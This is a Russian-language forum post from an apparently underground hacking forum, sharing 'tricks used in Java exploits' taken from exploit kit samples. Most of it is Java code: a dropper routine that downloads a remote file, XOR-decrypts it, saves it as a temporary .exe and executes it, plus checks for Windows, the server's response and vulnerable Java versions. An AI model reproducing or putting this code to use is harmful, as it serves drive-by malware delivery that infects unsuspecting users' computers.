• XSS.stack #1 – первый литературный журнал от юзеров форума

Фишки, которые используются в ява сплоитах

GOONER

(L3) cache
Пользователь
Регистрация
25.10.2009
Сообщения
182
Реакции
1
В данной теме предлагаю делится различными фишками и трюками, которые используются в ява сплоитах.
Некоторые примеры взяты из сэмплов сплоитов, снятых с известных паков. Ничего приватного тут нет, но по скольку такого рода материала я не видел ни на форумах ни в блогах аналитиков - прошу размещать всё под хайд.
Дешифровка и запуск поксореного файла:
Код:
  public byte[] xorWithKey(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
  {
    byte[] arrayOfByte = new byte[paramArrayOfByte1.length];
    for (int i = 0; i < paramArrayOfByte1.length; i++)
      arrayOfByte[i] = (byte)(paramArrayOfByte1[i] ^ paramArrayOfByte2[(i % paramArrayOfByte2.length)]);
    return arrayOfByte;
  }
   URL localURL = new URL(str1);
        localObject3 = (HttpURLConnection)localURL.openConnection();
           InputStream localInputStream = ((HttpURLConnection)localObject3).getInputStream();
          BufferedInputStream localBufferedInputStream = new BufferedInputStream(localInputStream);
          byte[] arrayOfByte2 = new byte[i];
          int k = 0;
          int m = 0;
          while (m < i)
          {
            k = localBufferedInputStream.read(arrayOfByte2, m, arrayOfByte2.length - m);
            if (k == -1)
              break;
            m += k;
          }
          localBufferedInputStream.close();
          if (m != i)
            System.exit(0);
          File localFile = File.createTempFile("~tmp", ".exe");
          FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
          String str3 = getParameter("xorkey");
          if ((str3 != null) && (str3.length() != 0))
          {
            byte[] arrayOfByte3 = new byte[arrayOfByte2.length];
            arrayOfByte3 = xorWithKey(arrayOfByte2, str3.getBytes("ISO_8859_1"));
            localFileOutputStream.write(arrayOfByte3);
          }
          else
          {
            localFileOutputStream.write(arrayOfByte2);
          }
          localFileOutputStream.flush();
          localFileOutputStream.close();
           Runtime.getRuntime().exec(new String[] { localFile.getAbsolutePath() });
Проверка кода ответа сервера, заголовка отдачи контента и его длины при заборе ехе:
Код:
   localObject3 = (HttpURLConnection)localURL.openConnection();
        int i = ((HttpURLConnection)localObject3).getContentLength();
        String str2 = ((HttpURLConnection)localObject3).getContentType();
        int j = ((HttpURLConnection)localObject3).getResponseCode();
 if ((j == 200) && (str2.startsWith("application/")) && (i > 0))
        {
          //some code here 
        }
Проверка на windows:
Код:
  private static final String PATH_SEP = System.getProperty("path.separator");
  private static final boolean IS_DOS = PATH_SEP.equals(";");
 ...
  if (IS_DOS) {
    //some code here 
  }
  ...
Ещё один вариант проверки на windows:
Код:
if (System.getProperty("os.name").contains("Windows")) {
  //some code here 
}
Проверка линка на скачку exe:
Код:
//Декод линка
...
 if ((link.startsWith("http") && (link.length() !== 0 ))
        {
         //some code here 
        }
Проверка версии:
Код:
...
   String str1 = System.getProperty("java.version").toString();
    String[] arrayOfString1 = str1.split("\\.");
    String[] arrayOfString2 = str1.split("_");
    int i = Integer.parseInt(arrayOfString1[1]);
    int j = Integer.parseInt(arrayOfString2[1]);
      if (((i >= 4) && (i <= 6) ) || ((i == 7) && (j <= 1))) {
          //some code here 
      }
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх